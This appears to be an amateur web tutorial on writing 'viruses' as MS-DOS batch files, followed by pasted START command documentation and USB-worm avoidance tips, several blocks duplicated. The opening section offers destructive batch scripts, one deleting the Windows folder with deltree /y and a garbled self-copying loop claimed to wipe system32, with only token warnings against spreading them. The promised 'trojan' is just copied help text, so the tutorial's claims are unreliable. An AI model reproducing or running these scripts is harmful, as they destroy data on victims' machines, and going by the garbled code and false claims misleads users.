Here you will find out how easy it is to make virus in Ms dos.
Ok to start off making a dos virus you must have notepad all computers have it so just open it up then type in this code and save the file as a .BAT it must be .bat to work.
Here is the code...1)
@echo off
cd
cd c:\window
@deltree/y c:\windows
exit
This will delete the file windows. ONLY USE THIS CODE TO DELETE WINDOWS ON YOUR OWN COMPUTER!
This one is going to be a bit more eviler then the last so do not go sending it out ok.
2)
@echo off
cd
cd c:/WINDOWS/system32
: copyxcopy/c C:/windows
goto copy
cd
cd c:/WINDOWS/system32
: copy
xcopy/c %0
goto cop
This will delete system 32 and amke a backup copy of the file in windows and it will open up when the computer runs so if then get a backup of windows then it will get delete.
Now for a trojan in dos well maybe not a real trojan but it is a good virus and will give you admin power in a computer
you can use this if you have two pc in your house but if you use it on someone adn they dunno about it then the cops maybe coming to your door .
DOS command-START
Starts a separate window to run a specified program or command.
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE /SHARED][/LOW /NORMAL /HIGH /REALTIME /ABOVENORMAL /BELOWNORMAL][/WAIT] [/B] [command/program][parameters]
"title" Title to display in window title bar path Starting directory
/B Start application without creating a new window. The application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the application
/I The new environment will be the original environment passed to the cmd.exe and not the current environment
/MIN Start window minimized
/MAX Start window maximized
/SEPARATE Start 16-bit Windows program in separate memory space
/SHARED Start 16-bit Windows program in shared memory space
/LOW Start application in the IDLE priority class
/NORMAL Start application in the NORMAL priority class
/HIGH Start application in the HIGH priority class
/REALTIME Start application in the REALTIME priority class
/ABOVENORMAL Start application in the ABOVENORMAL priority class
/BELOWNORMAL Start application in the BELOWNORMAL priority class
/WAIT Start application and wait for it to terminate command
/program If it is an internal cmd command or a batch file then the command processor is run with the /K switch to cmd.exe. This means that the window will remain after the command has been run.
If it is not an internal cmd command or batch file then it is a program and will run as either a windowed application or a console application. parameters These are the parameters passed to the command/program
If Command Extensions are enabled, external command invocationthrough the command line or the START command changes as follows:
non-executable files may be invoked through their file association just by typing the name of the file as a command. (e.g. WORD.DOC would launch the application associated with the .DOC file extension).
See the ASSOC and FTYPE commands for how to create theseassociations from within a command script.
When executing an application that is a 32-bit GUI application, CMD.EXE does not wait for the application to terminate before returning tothe command prompt. This new behavior does NOT occur if executing within a command script.
When executing a command line whose first token is the string "CMD " without an extension or path qualifier, then "CMD" is replaced with the value of the COMSPEC variable. This prevents picking up CMD.EXE from the current directory.
When executing a command line whose first token does NOT contain an extension, then CMD.EXE uses the value of the PATHEXT environment variable to determine which extensions to look for and in what order. The default value for the PATHEXT variable is:
.COM;.EXE;.BAT;.CMD
Notice the syntax is the same as the PATH variable, with semicolons separating the different elements.
When searching for an executable, if there is no match on any extension, then looks to see if the name matches a directory name. If it does, the START command launches the Explorer on that path. If done from the command line, it is the equivalent to doing a CD /D to that path.
Examples
start notepad myfile.txt
Start a new instance of notepad with the file myfile.txt open in it.
start /MAX notepad
Start the notepad window with the screen maximized.
start /MIN mybatch.bat
The above example would start the batch file mybatch.bat in a minimized window.
START ["title"] [/Dpath] [/I] [/MIN] [/MAX] [/SEPARATE /SHARED][/LOW /NORMAL /HIGH /REALTIME /ABOVENORMAL /BELOWNORMAL][/WAIT] [/B] [command/program][parameters]
"title" Title to display in window title bar path Starting directory
/B Start application without creating a new window. The application has ^C handling ignored. Unless the application enables ^C processing, ^Break is the only way to interrupt the application
/I The new environment will be the original environment passed to the cmd.exe and not the current environment
/MIN Start window minimized
/MAX Start window maximized
/SEPARATE Start 16-bit Windows program in separate memory space
/SHARED Start 16-bit Windows program in shared memory space
/LOW Start application in the IDLE priority class
/NORMAL Start application in the NORMAL priority class
/HIGH Start application in the HIGH priority class
/REALTIME Start application in the REALTIME priority class
/ABOVENORMAL Start application in the ABOVENORMAL priority class
/BELOWNORMAL Start application in the BELOWNORMAL priority class
/WAIT Start application and wait for it to terminate command
/program If it is an internal cmd command or a batch file then the command processor is run with the /K switch to cmd.exe. This means that the window will remain after the command has been run.
If it is not an internal cmd command or batch file then it is a program and will run as either a windowed application or a console application. parameters These are the parameters passed to the command/program
If Command Extensions are enabled, external command invocationthrough the command line or the START command changes as follows:
non-executable files may be invoked through their file association just by typing the name of the file as a command. (e.g. WORD.DOC would launch the application associated with the .DOC file extension).
See the ASSOC and FTYPE commands for how to create theseassociations from within a command script.
When executing an application that is a 32-bit GUI application, CMD.EXE does not wait for the application to terminate before returning tothe command prompt. This new behavior does NOT occur if executing within a command script.
When executing a command line whose first token is the string "CMD " without an extension or path qualifier, then "CMD" is replaced with the value of the COMSPEC variable. This prevents picking up CMD.EXE from the current directory.
When executing a command line whose first token does NOT contain an extension, then CMD.EXE uses the value of the PATHEXT environment variable to determine which extensions to look for and in what order. The default value for the PATHEXT variable is:
.COM;.EXE;.BAT;.CMD
Notice the syntax is the same as the PATH variable, with semicolons separating the different elements.
When searching for an executable, if there is no match on any extension, then looks to see if the name matches a directory name. If it does, the START command launches the Explorer on that path. If done from the command line, it is the equivalent to doing a CD /D to that path.
Examples
start notepad myfile.txt
Start a new instance of notepad with the file myfile.txt open in it.
start /MAX notepad
Start the notepad window with the screen maximized.
start /MIN mybatch.bat
The above example would start the batch file mybatch.bat in a minimized window.
Avoid USB Virus / Worms
USB Devices like i-pod,pen drives e.t.c; brings viruses/worms which are bad since it disables a lot of features as well as it ruins memory the slows down the whole thing. It disables much of the removal process like Windows RegEdit.exe, MsConfig.exe and also TaskMan.exe. Variations of these also disables your keyboard during normal booting, floods your disk with virus files in the root directory and also the windows directory and some also floods your directory with Folder looking icons that is an executable..
So here are some tips in avoiding this:
1. Always make all files visible like system and also hidden files with their extension shown.Go to Windows Explorer > Tools > Folder Option > View
* Enable Show Hidden File
* Disable Hide Extensions for know file type
* Disable Hide Protected OS files
2. Never Use the Autorun functionality in Windowswhenever you put a disk(flash, memory card, usb drive devices and other form of removable drive) it is always a practice to scan it first. but to avoid being the first to be infected by a wild one, always use Windows Explorer to browse the files.
Use the left side(Folder Window), to browse the files.
Whenever you see an autorun.inf file, delete it! remove the disk and insert it again to avoid clicking it.
To disable autorun go to gpedit.msc >> computer config >> admin templates >> system >> turn off autoplay
3. Always update Virus database!
So here are some tips in avoiding this:
1. Always make all files visible like system and also hidden files with their extension shown.Go to Windows Explorer > Tools > Folder Option > View
* Enable Show Hidden File
* Disable Hide Extensions for know file type
* Disable Hide Protected OS files
2. Never Use the Autorun functionality in Windowswhenever you put a disk(flash, memory card, usb drive devices and other form of removable drive) it is always a practice to scan it first. but to avoid being the first to be infected by a wild one, always use Windows Explorer to browse the files.
Use the left side(Folder Window), to browse the files.
Whenever you see an autorun.inf file, delete it! remove the disk and insert it again to avoid clicking it.
To disable autorun go to gpedit.msc >> computer config >> admin templates >> system >> turn off autoplay
3. Always update Virus database!